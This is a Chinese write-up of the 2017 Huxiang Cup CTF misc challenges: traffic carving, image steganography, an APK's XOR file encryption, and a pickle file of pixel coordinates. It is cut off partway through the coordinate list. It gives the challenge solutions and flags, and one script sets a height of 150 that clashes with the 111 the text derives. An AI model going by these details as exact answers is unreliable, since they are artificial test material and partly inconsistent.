转自:https://www.ctfwp.com/官方赛事题/2017湖湘杯

MISC

流量分析

文件->导出对象->HTTP,可以看到flag.zip,保存下来
[转] 2017湖湘杯 - 图1

打开为 RGB
[转] 2017湖湘杯 - 图2
[转] 2017湖湘杯 - 图3
从上图可以猜想图片长为 887,宽为 98457 / 887 = 111

使用脚本把 RGB 转换成图片

  1. from PIL import Image
  2. import re
  3. x = 887 # x坐标
  4. y = 150 # y坐标
  5. im = Image.new("RGB", (x, y)) # 创建图片
  6. f = open('rgb.txt') # 打开rbg值文件
  7. for i in range(0, x):
  8. for j in range(0, y):
  9. l = f.readline()
  10. r = l.split(", ")
  11. im.putpixel((i, j), (int(r[0]), int(r[1]), int(r[2])))
  12. im.show()
  13. # im.save('image.jpg')

图片得到 flag
image.png

热身运动

一张gif,一个粉红色的老虎在一个国际象棋的棋盘上瞎j8动
使用Stegoslove查看每一帧记录下老虎移动的坐标
image.png

5b 4g 2b 4b 5b 2h 3e 2b 5f 8f 1e 2b 7f 6f 1f 4g 5f 6g 1b 3g 5g 6h 2e

百度64进制编码得到一张表,对应坐标记录数字
image.png

5b 4g 2b 4b 5b 2h 3e 2b 5f 8f 1e 2b 7f 6f 1f 4g 5f 6g 1b 3g 5g 6h 2e
25 38 49 33 25 55 44 49 29 5 60 49 13 21 61 38 29 22 57 46 30 23 52

再用数字对应base64码表
image.png

25 38 49 33 25 55 44 49 29 5 60 49 13 21 61 38 29 22 57 46 30 23 52
Z m x h Z 3 s x d F 8 x N V 9 m d W 5 u e X 0
ZmxhZ3sxdF8xNV9mdW5ueX0

解最后的base64得到flag:flag{1t_15_funny}

misc200 文件加密

压缩包里一个Encryptor.apk和一个疑似被加密的flag,先把apk拖到apktools里看下源码
[转] 2017湖湘杯 - 图8
可以看到一个EncryptImageActivity,貌似有点用
可以看到很useful的函数
[转] 2017湖湘杯 - 图9
继续往下看
[转] 2017湖湘杯 - 图10

这就是对文件进行加密的具体函数了,可以看到,使用key对文件逐位异或得到cipherText,联系上面的关键函数,可以得知,这个程序的工作流程:

  1. 选择一个文件
  2. 输入密码
  3. 使用密码的md5值对原始文件进行逐位异或
  4. 将加密后的cipherText写入新文件并输出

由于异或的特性,使用password的md5值对已经加密的文件再次加密能够得到原来的文件,所以我们的任务就是逆向找到password了!!

上一句划掉,那么麻烦干嘛,扔到手机里运行一下(才不说我专心逆向找password,怕手机被加密另开了手机分身运行应用呢),发现密码已经是“记住”状态了,把flag.encrypted扔进去点击encrypt就会提示成功的创建了文件,只要提出来在Linux里直接能显示出图片了。
image.png
这™字写的什么j8玩意?神™字迹辨认!

misc300 pkl

题目 pixels.jpg.pkl 文件,pkl 是 python 的序列化文件

用 pickle 打开文件,发现是一堆坐标

  1. import pickle
  2. with open('pixels.jpg.pkl') as f:
  3. data = pickle.loads(f.read().encode('utf8'))
  4. print(data)
  1. ['The black pixels of a b/w image are at', (15, 200), (21, 308), (23, 310), (24, 314), (25, 308), (25, 318), (25, 431), (25, 441), (25, 451), (26, 310), (26, 320), (26, 429), (26, 439), (26, 449), (27, 305), (27, 315), (27, 325), (27, 423), (27, 433), (27, 443), (27, 453), (28, 303), (28, 313), (28, 323), (28, 333), (28, 419), (28, 429), (28, 439), (28, 449), (28, 459), (29, 304), (29, 323), (29, 333), (29, 417), (29, 427), (29, 454), (30, 128), (30, 311), (30, 333), (30, 343), (30, 414), (30, 424), (30, 456), (30, 471), (31, 130), (31, 339), (31, 349), (31, 414), (31, 460), (31, 474), (32, 129), (32, 343), (32, 353), (32, 363), (32, 411), (32, 461), (32, 471), (32, 481), (33, 135), (33, 346), (33, 356), (33, 366), (33, 411), (33, 464), (33, 474), (33, 484), (34, 305), (34, 318), (34, 352), (34, 362), (34, 372), (34, 382), (34, 411), (34, 470), (34, 485), (35, 307), (35, 317), (35, 327), (35, 337), (35, 347), (35, 357), (35, 379), (35, 405), (35, 466), (35, 484), (36, 306), (36, 316), (36, 326), (36, 336), (36, 346), (36, 356), (36, 400), (36, 466), (37, 125), (37, 307), (37, 327), (37, 337), (37, 347), (37, 357), (37, 398), (37, 438), (37, 486), (38, 305), (38, 334), (38, 346), (38, 356), (38, 366), (38, 396), (38, 425), (38, 435), (38, 448), (38, 487), (39, 306), (39, 375), (39, 402), (39, 431), (39, 441), (39, 485), (40, 137), (40, 375), (40, 394), (40, 417), (40, 427), (40, 437), (40, 447), (40, 487), (41, 306), (41, 383), (41, 414), (41, 424), (41, 434), (41, 444), (41, 485), (42, 305), (42, 396), (42, 415), (42, 425), (42, 444), (42, 478), (43, 137), (43, 397), (43, 417), (43, 427), (43, 447), (44, 128), (44, 394), (44, 414), (44, 442), (44, 479), (45, 306), (45, 397), (45, 417), (45, 446), (45, 484), (46, 389), (46, 409), (46, 442), (46, 487), (47, 390), (47, 409), (47, 482), (48, 137), (48, 394), (48, 430), (48, 485), (49, 387), (49, 405), (49, 456), (50, 131), (50, 391), (50, 409), (50, 485), (51, 388), (51, 407), (51, 485), (52, 307), (52, 395), (52, 482), (53, 241), (53, 393), (53, 483), (54, 307), (54, 394), (54, 486), (55, 237), (55, 389), (55, 430), (55, 440), (56, 137), (56, 387), (56, 427), (56, 437), (57, 70), (57, 309), (57, 394), (57, 424), (57, 434), (57, 484), (58, 235), (58, 390), (58, 417), (58, 427), (58, 437), (58, 488), (59, 73), (59, 386), (59, 409), (59, 419), (59, 429), (59, 439), (59, 489), (59, 503), (60, 308), (60, 400), (60, 417), (60, 427), (60, 437), (60, 487), (60, 499), (60, 509), (61, 388), (61, 410), (61, 420), (61, 430), (61, 440), (61, 488), (61, 498), (62, 75), (62, 272), (62, 395), (62, 409), (62, 420), (62, 430), (62, 440), (62, 485), (62, 495), (62, 507), (63, 271), (63, 396), (63, 410), (63, 424), (63, 434), (63, 444), (63, 489), (63, 499), (64, 263), (64, 394), (64, 406), (64, 425), (64, 435), (64, 445), (64, 486), (64, 496), (65, 256), (65, 308), (65, 397), (65, 407), (65, 427), (65, 437), (65, 447), (65, 488), (65, 498), (66, 258), (66, 387), (66, 405), (66, 428), (66, 438), (66, 448), (66, 489), (67, 228), (67, 308), (67, 391), (67, 401), (67, 427), (67, 437), (67, 447), (67, 487), (68, 228), (68, 309), (68, 392), (68, 423), (68, 433), (68, 443), (68, 453), (69, 227), (69, 308), (69, 391), (69, 423), (69, 433), (69, 443), (69, 453), (70, 227), (70, 309), (70, 392), (70, 428), (70, 438), (70, 448), (70, 486), (71, 251), (71, 387), (71, 427), (71, 437), (71, 447), (71, 485), (72, 251), (72, 385), (72, 410), (72, 435), (72, 445), (72, 455), (73, 246), (73, 382), (73, 428), (73, 438), (73, 448), (73, 485), (74, 307), (74, 382), (74, 431), (74, 441), (74, 451), (74, 487), (75, 249), (75, 378), (75, 411), (75, 438), (75, 448), (75, 458), (76, 243), (76, 373), (76, 413), (76, 440), (76, 450), (76, 460), (77, 244), (77, 374), (77, 434), (77, 444), (77, 454), (77, 485), (78, 307), (78, 374), (78, 436), (78, 446), (78, 456), (78, 485), (79, 308), (79, 375), (79, 436), (79, 446), (79, 456), (79, 483), (80, 308), (80, 376), (80, 438), (80, 448), (80, 458), (80, 484), (81, 365), (81, 435), (81, 445), (81, 455), (81, 465), (82, 246), (82, 366), (82, 435), (82, 445), (82, 455), (82, 465), (82, 490), (83, 365), (83, 439), (83, 449), (83, 459), (83, 479), (84, 309), (84, 365), (84, 437), (84, 447), (84, 457), (84, 467), (84, 477), (85, 309), (85, 401), (85, 442), (85, 452), (85, 462), (85, 472), (85, 490), (86, 359), (86, 436), (86, 446), (86, 456), (86, 466), (86, 476), (87, 354), (87, 403), (87, 444), (87, 454), (87, 464), (87, 474), (88, 310), (88, 360), (88, 442), (88, 452), (88, 462), (88, 472), (89, 351), (89, 381), (89, 441), (89, 451), (89, 461), (89, 471), (90, 349), (90, 359), (90, 441), (90, 451), (90, 461), (90, 471), (91, 348), (91, 420), (91, 446), (91, 456), (91, 466), (91, 490), (92, 351), (92, 420), (92, 445), (92, 455), (92, 465), (92, 488), (93, 349), (93, 437), (93, 447), (93, 457), (93, 467), (93, 489), (94, 346), (94, 406), (94, 444), (94, 454), (94, 464), (94, 474), (95, 341), (95, 385), (95, 443), (95, 453), (95, 463), (95, 473), (96, 308), (96, 347), (96, 439), (96, 449), (96, 459), (96, 469), (96, 487), (97, 342), (97, 407), (97, 444), (97, 454), (97, 464), (97, 474), (98, 308), (98, 364), (98, 443), (98, 453), (98, 463), (98, 473), (99, 69), (99, 340), (99, 408), (99, 444), (99, 454), (99, 464), (99, 474), (100, 306), (100, 341), (100, 424), (100, 447), (100, 457), (100, 467), (100, 477), (101, 309), (101, 342), (101, 439), (101, 449), (101, 459), (101, 469), (101, 479), (102, 330), (102, 340), (102, 390), (102, 442), (102, 452), (102, 462), (102, 472), (102, 482), (103, 331), (103, 345), (103, 440), (103, 450), (103, 460), (103, 470), (103, 480), (104, 308), (104, 337), (104, 426), (104, 446), (104, 456), (104, 466), (104, 476), (104, 488), (105, 331), (105, 368), (105, 441), (105, 451), (105, 461), (105, 471), (105, 481), (106, 307), (106, 332), (106, 370), (106, 442), (106, 452), (106, 462), (106, 472), (106, 482), (107, 308), (107, 334), (107, 411), (107, 444), (107, 454), (107, 464), (107, 474), (107, 484), (108, 324), (108, 347), (108, 440), (108, 450), (108, 460), (108, 470), (108, 480), (109, 305), (109, 328), (109, 371), (109, 441), (109, 451), (109, 461), (109, 471), (109, 481), (110, 227), (110, 326), (110, 392), (110, 443), (110, 453), (110, 463), (110, 473), (110, 483), (111, 222), (111, 232), (111, 320), (111, 330), (111, 414), (111, 445), (111, 455), (111, 465), (111, 475), (111, 485), (112, 222), (112, 232), (112, 307), (112, 329), (112, 430), (112, 448), (112, 458), (112, 468), (112, 478), (112, 488), (113, 221), (113, 231), (113, 304), (113, 324), (113, 373), (113, 442), (113, 452), (113, 462), (113, 472), (113, 482), (114, 215), (114, 227), (114, 237), (114, 318), (114, 328), (114, 414), (114, 445), (114, 455), (114, 465), (114, 475), (114, 485), (115, 215), (115, 306), (115, 325), (115, 415), (115, 447), (115, 457), (115, 467), (115, 477), (115, 487), (116, 213), (116, 306), (116, 324), (116, 395), (116, 444), (116, 454), (116, 464), (116, 474), (116, 484), (117, 208), (117, 244), (117, 319), (117, 352), (117, 439), (117, 449), (117, 459), (117, 469), (117, 479), (117, 489), (118, 207), (118, 247), (118, 320), (118, 397), (118, 444), (118, 454), (118, 464), (118, 474), (118, 484), (119, 153), (119, 208), (119, 249), (119, 318), (119, 376), (119, 440), (119, 450), (119, 460), (119, 470), (119, 480), (119, 490), (120, 205), (120, 305), (120, 319), (120, 417), (120, 446), (120, 456), (120, 466), (120, 476), (120, 486), (121, 156), (121, 207), (121, 307), (121, 320), (121, 417), (121, 445), (121, 455), (121, 465), (121, 475), (121, 485), (122, 173), (122, 207), (122, 308), (122, 318), (122, 398), (122, 445), (122, 455), (122, 465), (122, 475), (122, 485), (123, 157), (123, 203), (123, 251), (123, 314), (123, 378), (123, 443), (123, 453), (123, 463), (123, 473), (123, 483), (124, 156), (124, 201), (124, 252), (124, 316), (124, 397), (124, 442), (124, 452), (124, 462), (124, 472), (124, 482), (125, 156), (125, 200), (125, 252), (125, 315), (125, 349), (125, 395), (125, 440), (125, 450), (125, 460), (125, 470), (125, 480), (125, 490), (126, 177), (126, 205), (126, 309), (126, 337), (126, 347), (126, 393), (126, 434), (126, 444), (126, 454), (126, 464), (126, 474), (126, 484), (127, 159), (127, 201), (127, 255), (127, 315), (127, 342), (127, 380), (127, 399), (127, 439), (127, 449), (127, 459), (127, 469), (127, 479), (127, 489), (128, 178), (128, 205), (128, 309), (128, 338), (128, 360), (128, 399), (128, 420), (128, 443), (128, 453), (128, 463), (128, 473), (128, 483), (129, 160), (129, 199), (129, 255), (129, 312), (129, 338), (129, 361), (129, 400), (129, 410), (129, 436), (129, 446), (129, 456), (129, 466), (129, 476), (129, 486), (130, 176), (130, 201), (130, 304), (130, 318), (130, 361), (130, 401), (130, 411), (130, 421), (130, 447), (130, 457), (130, 467), (130, 477), (130, 487), (131, 163), (131, 200), (131, 257), (131, 312), (131, 351), (131, 398), (131, 408), (131, 418), (131, 443), (131, 453), (131, 463), (131, 473), (131, 483), (132, 129), (132, 179), (132, 204), (132, 305), (132, 331), (132, 395), (132, 413), (132, 438), (132, 448), (132, 458), (132, 468), (132, 478), (132, 488), (133, 134), (133, 179), (133, 203), (133, 301), (133, 311), (133, 355), (133, 398), (133, 421), (133, 446), (133, 456), (133, 466), (133, 476), (133, 486), (134, 133), (134, 178), (134, 202), (134, 259), (134, 310), (134, 355), (134, 396), (134, 421), (134, 445), (134, 455), (134, 465), (134, 475), (134, 485), (135, 134), (135, 163), (135, 197), (135, 255), (135, 304), (135, 324), (135, 361), (135, 399), (135, 439), (135, 449), (135, 459), (135, 469), (135, 479), (135, 489), (136, 140), (136, 165), (136, 198), (136, 256), (136, 304), (136, 325), (136, 365), (136, 419), (136, 443), (136, 453), (136, 463), (136, 473), (136, 483), (137, 136), (137, 146), (137, 178), (137, 202), (137, 298), (137, 308), (137, 361), (137, 398), (137, 440), (137, 450), (137, 460), (137, 470), (137, 480), (138, 134), (138, 144), (138, 154), (138, 178), (138, 202), (138, 260), (138, 307), (138, 359), (138, 386), (138, 421), (138, 445), (138, 455), (138, 465), (138, 475), (138, 485), (139, 144), (139, 154), (139, 164), (139, 201), (139, 259), (139, 305), (139, 359), (139, 387), (139, 421), (139, 446), (139, 456), (139, 466), (139, 476), (139, 486), (140, 149), (140, 159), (140, 180), (140, 205), (140, 300), (140, 354), (140, 370), (140, 421), (140, 446), (140, 456), (140, 466), (140, 476), (140, 486), (141, 150), (141, 160), (141, 180), (141, 203), (141, 296), (141, 306), (141, 365), (141, 396), (141, 441), (141, 451), (141, 461), (141, 471), (141, 481), (142, 125), (142, 157), (142, 167), (142, 188), (142, 198), (142, 208), (142, 299), (142, 336), (142, 370), (142, 420), (142, 445), (142, 455), (142, 465), (142, 475), (142, 485), (143, 129), (143, 161), (143, 182), (143, 192), (143, 202), (143, 259), (143, 302), (143, 363), (143, 394), (143, 436), (143, 446), (143, 456), (143, 466), (143, 476), (143, 486), (144, 130), (144, 161), (144, 183), (144, 193), (144, 203), (144, 259), (144, 303), (144, 364), (144, 394), (144, 432), (144, 442), (144, 452), (144, 462), (144, 472), (144, 482), (145, 127), (145, 158), (145, 168), (145, 190), (145, 200), (145, 210), (145, 299), (145, 312), (145, 368), (145, 418), (145, 428), (145, 438), (145, 448), (145, 458), (145, 468), (145, 478), (145, 488), (146, 134), (146, 166), (146, 191), (146, 201), (146, 258), (146, 268), (146, 278), (146, 305), (146, 330), (146, 372), (146, 419), (146, 429), (146, 439), (146, 449), (146, 459), (146, 469), (146, 479), (146, 489), (147, 137), (147, 169), (147, 196), (147, 206), (147, 262), (147, 272), (147, 282), (147, 304), (147, 329), (147, 394), (147, 424), (147, 434), (147, 444), (147, 454), (147, 464), (147, 474), (147, 484), (148, 134), (148, 166), (148, 195), (148, 205), (148, 261), (148, 271), (148, 281), (148, 291), (148, 301), (148, 311), (148, 366), (148, 397), (148, 427), (148, 439), (148, 449), (148, 459), (148, 469), (148, 479), (148, 489), (149, 139), (149, 209), (149, 265), (149, 275), (149, 285), (149, 295), (149, 305), (149, 327), (149, 394), (149, 424), (149, 436), (149, 446), (149, 456), (149, 466), (149, 476), (149, 490), (150, 139), (150, 213), (150, 272), (150, 282), (150, 292), (150, 302), (150, 312), (150, 363), (150, 394), (150, 424), (150, 434), (150, 444), (150, 454), (150, 464), (150, 474), (150, 490), (150, 500), (151, 211), (151, 269), (151, 279), (151, 289), (151, 299), (151, 309), (151, 325), (151, 382), (151, 422), (151, 432), (151, 442), (151, 452), (151, 462), (151, 472), (151, 489), (151, 499), (152, 146), (152, 269), (152, 279), (152, 289), (152, 299), (152, 309), (152, 322), (152, 383), (152, 423), (152, 433), (152, 443), (152, 453), (152, 463), (152, 473), (152, 492), (152, 502), (153, 211), (153, 271), (153, 281), (153, 291), (153, 301), (153, 311), (153, 321), (153, 385), (153, 420), (153, 430), (153, 440), (153, 450), (153, 460), (153, 470), (153, 504), (154, 214), (154, 275), (154, 287), (154, 299), (154, 309), (154, 319), (154, 384), (154, 418), (154, 428), (154, 438), (154, 448), (154, 458), (154, 468), (154, 506), (155, 218), (155, 317), (155, 387), (155, 418), (155, 428), (155, 438), (155, 448), (155, 458), (155, 468), (156, 146), (156, 220), (156, 321), (156, 390), (156, 420), (156, 430), (156, 440), (156, 450), (156, 460), (156, 470), (157, 149), (157, 306), (157, 385), (157, 395), (157, 426), (157, 436), (157, 450), (157, 460), (157, 470), (158, 148), (158, 300), (158, 320), (158, 384), (158, 394), (158, 423), (158, 433), (158, 450), (158, 460), (158, 470), (159, 146), (159, 310), (159, 375), (159, 393), (159, 403), (159, 425), (159, 453), (159, 463), (159, 473), (160, 119), (160, 145), (160, 321), (160, 389), (160, 399), (160, 420), (160, 430), (160, 469), (160, 479), (161, 118), (161, 128), (161, 148), (161, 322), (161, 392), (161, 402), (161, 423), (161, 466), (161, 476), (162, 122), (162, 132), (162, 142), (162, 152), (162, 340), (162, 398), (162, 408), (162, 428), (162, 474), (163, 122), (163, 132), (163, 142), (163, 152), (163, 337), (163, 401), (163, 420), (163, 430), (164, 125), (164, 135), (164, 145), (164, 323), (164, 375), (164, 406), (164, 425), (164, 480), (165, 131), (165, 141), (165, 151), (165, 332), (165, 388), (165, 406), (165, 425), (165, 480), (166, 138), (166, 148), (166, 333), (166, 400), (166, 421), (166, 474), (167, 281), (167, 334), (167, 399), (167, 421), (167, 474), (168, 281), (168, 331), (168, 370), (168, 403), (168, 426), (168, 488), (169, 278), (169, 310), (169, 329), (169, 387), (169, 420), (169, 430), (170, 108), (170, 277), (170, 308), (170, 325), (170, 369), (170, 400), (170, 425), (170, 482), (171, 113), (171, 303), (171, 313), (171, 351), (171, 397), (171, 422), (171, 478), (172, 115), (172, 298), (172, 308), (172, 318), (172, 380), (172, 400), (172, 425), (172, 481), (173, 123), (173, 298), (173, 308), (173, 318), (173, 347), (173, 396), (173, 421), (173, 431), (174, 122), (174, 298), (174, 308), (174, 318), (174, 342), (174, 383), (174, 403), (174, 428), (174, 489), (175, 274), (175, 301), (175, 311), (175, 321), (175, 343), (175, 393), (175, 403), (175, 428), (175, 489), (176, 294), (176, 304), (176, 314), (176, 324), (176, 346), (176, 397), (176, 425), (176, 481), (177, 291), (177, 301), (177, 311), (177, 321), (177, 342), (177, 391), (177, 420), (177, 430), (178, 130), (178, 294), (178, 309), (178, 319), (178, 329), (178, 381), (178, 419), (178, 429), (179, 132), (179, 292), (179, 313), (179, 323), (179, 347), (179, 393), (179, 424), (179, 481), (180, 288), (180, 312), (180, 322), (180, 339), (180, 391), (180, 423), (180, 481), (181, 289), (181, 314), (181, 324), (181, 350), (181, 393), (181, 426), (181, 488), (182, 286), (182, 314), (182, 329), (182, 386), (182, 419), (182, 429), (183, 138), (183, 287), (183, 315), (183, 331), (183, 355), (183, 393), (183, 426), (183, 488), (184, 271), (184, 312), (184, 331), (184, 386), (184, 420), (184, 430), (185, 138), (185, 286), (185, 326), (185, 354), (185, 391), (185, 425), (185, 482), (186, 139), (186, 287), (186, 328), (186, 357), (186, 391), (186, 426), (186, 483), (186, 493), (187, 131), (187, 141), (187, 288), (187, 330), (187, 359), (187, 392), (187, 427), (187, 482), (187, 492), (187, 502), (188, 138), (188, 285), (188, 326), (188, 354), (188, 387), (188, 420), (188, 430), (188, 485), (188, 495), (189, 128), (189, 138), (189, 285), (189, 323), (189, 333), (189, 386), (189, 396), (189, 427), (189, 482), (189, 492), (189, 502), (190, 132), (190, 142), (190, 288), (190, 323), (190, 336), (190, 385), (190, 395), (190, 421), (190, 477), (190, 487), (190, 497), (191, 128), (191, 138), (191, 284), (191, 319), (191, 333), (191, 363), (191, 391), (191, 401), (191, 426), (191, 483), (191, 493), (192, 116), (192, 128), (192, 138), (192, 284), (192, 315), (192, 325), (192, 350), (192, 383), (192, 393), (192, 403), (192, 428), (192, 485), (192, 495), (193, 119), (193, 129), (193, 139), (193, 287), (193, 320), (193, 336), (193, 381), (193, 392), (193, 402), (193, 427), (193, 484), (194, 108), (194, 118), (194, 128), (194, 138), (194, 289), (194, 324), (194, 334), (194, 366), (194, 391), (194, 420), (194, 430), (194, 490), (195, 111), (195, 121), (195, 131), (195, 288), (195, 322), (195, 332), (195, 364), (195, 383), (195, 402), (195, 426), (195, 483), (196, 270), (196, 291), (196, 330), (196, 344), (196, 379), (196, 402), (196, 424), (196, 481), (197, 285), (197, 313), (197, 336), (197, 368), (197, 381), (197, 404), (197, 425), (197, 482), (198, 285), (198, 313), (198, 338), (198, 371), (198, 381), (198, 404), (198, 424), (198, 481), (199, 284), (199, 294), (199, 334), (199, 370), (199, 380), (199, 407), (199, 425), (199, 482), (200, 285), (200, 295), (200, 334), (200, 370), (200, 380), (200, 419), (200, 429), (200, 492), (201, 289), (201, 311), (201, 338), (201, 373), (201, 383), (201, 423), (201, 480), (202, 284), (202, 294), (202, 310), (202, 337), (202, 372), (202, 382), (202, 423), (202, 480), (203, 284), (203, 294), (203, 309), (203, 339), (203, 378), (203, 420), (203, 430), (204, 283), (204, 293), (204, 307), (204, 339), (204, 377), (204, 415), (204, 427), (204, 491), (205, 290), (205, 306), (205, 337), (205, 375), (205, 413), (205, 424), (205, 481), (206, 287), (206, 304), (206, 340), (206, 377), (206, 414), (206, 424), (206, 481), (207, 284), (207, 301), (207, 361), (207, 383), (207, 418), (207, 428), (207, 491), (208, 287), (208, 339), (208, 375), (208, 414), (208, 424), (208, 481), (209, 134), (209, 299), (209, 359), (209, 386), (209, 421), (209, 479), (209, 489), (210, 136), (210, 299), (210, 358), (210, 385), (210, 420), (210, 478), (210, 488), (211, 132), (211, 289), (211, 342), (211, 373), (211, 420), (211, 478), (211, 488), (212, 136), (212, 334), (212, 358), (212, 385), (212, 419), (212, 429), (212, 486), (213, 133), (213, 289), (213, 344), (213, 384), (213, 419), (213, 429), (213, 486), (214, 130), (214, 286), (214, 340), (214, 367), (214, 389), (214, 425), (214, 482), (215, 125), (215, 135), (215, 336), (215, 357), (215, 388), (215, 425), (215, 482), (216, 126), (216, 292), (216, 343), (216, 365), (216, 389), (216, 425), (216, 490), (217, 129), (217, 334), (217, 347), (217, 366), (217, 406), (217, 427), (218, 121), (218, 289), (218, 343), (218, 363), (218, 387), (218, 423), (218, 479), (219, 124), (219, 293), (219, 347), (219, 363), (219, 387), (219, 423), (219, 479), (220, 123), (220, 337), (220, 350), (220, 367), (220, 405), (220, 427), (221, 116), (221, 293), (221, 347), (221, 363), (221, 386), (221, 422), (221, 478), (222, 120), (222, 339), (222, 358), (222, 368), (222, 404), (222, 427), (223, 113), (223, 336), (223, 349), (223, 363), (223, 385), (223, 421), (223, 477), (224, 116), (224, 346), (224, 363), (224, 384), (224, 421), (224, 477), (225, 115), (225, 347), (225, 357), (225, 382), (225, 419), (225, 429), (226, 338), (226, 353), (226, 369), (226, 401), (226, 427), (227, 296), (227, 350), (227, 366), (227, 385), (227, 422), (227, 479), (228, 345), (228, 355), (228, 381), (228, 420), (228, 430), (229, 262), (229, 273), (229, 325), (229, 350), (229, 365), (229, 396), (229, 422), (229, 478), (230, 265), (230, 275), (230, 326), (230, 351), (230, 365), (230, 397), (230, 424), (230, 480), (231, 282), (231, 329), (231, 350), (231, 360), (231, 382), (231, 422), (231, 478), (232, 275), (232, 323), (232, 339), (232, 354), (232, 368), (232, 398), (232, 426), (233, 97), (233, 326), (233, 338), (233, 354), (233, 381), (233, 422), (233, 479), (234, 320), (234, 330), (234, 340), (234, 354), (234, 392), (234, 422), (234, 479), (235, 320), (235, 330), (235, 340), (235, 354), (235, 391), (235, 421), (235, 478), (236, 238), (236, 273), (236, 327), (236, 342), (236, 368), (236, 394), (236, 426), (237, 89), (237, 238), (237, 270), (237, 280), (237, 324), (237, 340), (237, 350), (237, 378), (237, 417), (237, 427), (238, 89), (238, 262), (238, 281), (238, 326), (238, 346), (238, 369), (238, 395), (238, 424), (238, 481), (239, 182), (239, 264), (239, 285), (239, 335), (239, 348), (239, 375), (239, 394), (239, 421), (239, 478), (240, 91), (240, 282), (240, 326), (240, 349), (240, 375), (240, 400), (240, 418), (240, 428), (241, 86), (241, 255), (241, 309), (241, 331), (241, 351), (241, 374), (241, 393), (241, 407), (241, 423), (241, 480), (242, 181), (242, 287), (242, 327), (242, 337), (242, 355), (242, 378), (242, 398), (242, 418), (242, 428), (243, 82), (243, 252), (243, 331), (243, 341), (243, 374), (243, 395), (243, 421), (243, 478), (244, 83), (244, 292), (244, 336), (244, 372), (244, 396), (244, 421), (244, 478), (245, 82), (245, 314), (245, 341), (245, 375), (245, 411), (245, 422), (245, 479), (246, 81), (246, 293), (246, 335), (246, 345), (246, 374), (246, 411), (246, 421), (246, 478), (247, 179), (247, 314), (247, 337), (247, 359), (247, 376), (247, 415), (247, 425), (248, 142), (248, 317), (248, 341), (248, 365), (248, 375), (248, 415), (248, 425), (248, 481), (249, 242), (249, 337), (249, 363), (249, 373), (249, 413), (249, 423), (249, 479), (250, 112), (250, 122), (250, 132), (250, 142), (250, 318), (250, 346), (250, 372), (250, 415), (250, 425), (251, 100), (251, 110), (251, 143), (251, 330), (251, 366), (251, 394), (251, 422), (251, 479), (252, 106), (252, 142), (252, 329), (252, 354), (252, 374), (252, 423), (252, 480), (253, 97), (253, 145), (253, 342), (253, 359), (253, 418), (253, 428), (254, 88), (254, 143), (254, 323), (254, 357), (254, 367), (254, 421), (254, 478), (255, 92), (255, 237), (255, 355), (255, 365), (255, 418), (255, 428), (256, 89), (256, 179), (256, 345), (256, 359), (256, 375), (256, 423), (256, 480), (257, 178), (257, 348), (257, 362), (257, 420), (257, 430), (258, 143), (258, 334), (258, 355), (258, 417), (258, 427), (259, 139), (259, 326), (259, 351), (259, 376), (259, 422), (259, 479), (260, 178), (260, 350), (260, 376), (260, 422), (260, 479), (260, 489), (260, 499), (261, 142), (261, 350), (261, 375), (261, 420), (261, 430), (261, 487), (261, 497), (262, 137), (262, 330), (262, 357), (262, 417), (262, 427), (262, 484), (262, 494), (262, 504), (263, 330), (263, 357), (263, 417), (263, 427), (263, 484), (263, 494), (263, 504), (264, 189), (264, 354), (264, 411), (264, 421), (264, 478), (264, 488), (264, 498), (265, 134), (265, 331), (265, 360), (265, 418), (265, 428), (265, 485), (266, 137), (266, 331), (266, 359), (266, 415), (266, 425), (266, 482), (267, 137), (267, 356), (267, 408), (267, 422), (267, 479), (268, 189), (268, 318), (268, 358), (268, 406), (268, 422), (268, 479), (269, 189), (269, 317), (269, 344), (269, 380), (269, 416), (269, 426), (270, 130), (270, 288), (270, 319), (270, 346), (270, 384), (270, 406), (270, 423), (270, 479), (271, 190), (271, 292), (271, 344), (271, 380), (271, 393), (271, 403), (271, 422), (271, 478), (272, 189), (272, 290), (272, 331), (272, 364), (272, 392), (272, 402), (272, 421), (272, 477), (273, 132), (273, 286), (273, 322), (273, 351), (273, 388), (273, 398), (273, 418), (273, 428), (274, 129), (274, 287), (274, 326), (274, 363), (274, 395), (274, 422), (274, 478), (275, 190), (275, 290), (275, 333), (275, 366), (275, 395), (275, 424), (275, 481), (276, 275), (276, 290), (276, 330), (276, 354), (276, 381), (276, 418), (276, 428), (277, 128), (277, 288), (277, 329), (277, 368), (277, 391), (277, 420), (277, 430), (278, 127), (278, 286), (278, 329), (278, 380), (278, 390), (278, 419), (278, 429), (279, 127), (279, 285), (279, 328), (279, 371), (279, 388), (279, 417), (279, 427), (280, 46), (280, 223), (280, 298), (280, 330), (280, 380), (280, 390), (280, 417), (280, 427), (281, 32), (281, 42), (281, 126), (281, 278), (281, 325), (281, 353), (281, 385), (281, 397), (281, 422), (281, 479), (282, 34), (282, 44), (282, 272), (282, 297), (282, 346), (282, 379), (282, 389), (282, 418), (282, 428), (283, 22), (283, 32), (283, 42), (283, 272), (283, 298), (283, 350), (283, 375), (283, 385), (283, 400), (283, 423), (283, 479), (284, 23), (284, 124), (284, 297), (284, 347), (284, 377), (284, 387), (284, 420), (284, 430), (285, 120), (285, 298), (285, 348), (285, 361), (285, 384), (285, 415), (285, 425), (285, 481), (286, 273), (286, 328), (286, 358), (286, 381), (286, 402), (286, 421), (286, 477), (287, 122), (287, 329), (287, 360), (287, 389), (287, 422), (287, 478), (288, 293), (288, 326), (288, 357), (288, 390), (288, 422), (288, 478), (289, 293), (289, 325), (289, 356), (289, 390), (289, 421), (289, 477), (290, 290), (290, 300), (290, 352), (290, 381), (290, 418), (290, 428), (291, 116), (291, 298), (291, 349), (291, 371), (291, 416), (291, 426), (291, 481), (292, 296), (292, 325), (292, 356), (292, 418), (292, 428), (293, 115), (293, 222), (293, 299), (293, 325), (293, 355), (293, 407), (293, 423), (293, 478), (294, 156), (294, 288), (294, 323), (294, 352), (294, 381), (294, 422), (294, 477), (295, 149), (295, 159), (295, 294), (295, 319), (295, 356), (295, 416), (295, 426), (296, 112), (296, 152), (296, 162), (296, 291), (296, 314), (296, 347), (296, 377), (296, 419), (296, 429), (297, 145), (297, 155), (297, 165), (297, 292), (297, 309), (297, 343), (297, 374), (297, 418), (297, 428), (298, 111), (298, 147), (298, 162), (298, 283), (298, 303), (298, 313), (298, 363), (298, 377), (298, 422), (298, 477), (299, 141), (299, 151), (299, 279), (299, 289), (299, 309), (299, 360), (299, 370), (299, 415), (299, 425), (299, 480), (300, 143), (300, 160), (300, 280), (300, 290), (300, 309), (300, 362), (300, 372), (300, 417), (300, 427), (301, 109), (301, 142), (301, 163), (301, 287), (301, 365), (301, 405), (301, 422), (301, 477), (302, 136), (302, 159), (302, 282), (302, 341), (302, 417), (302, 427), (303, 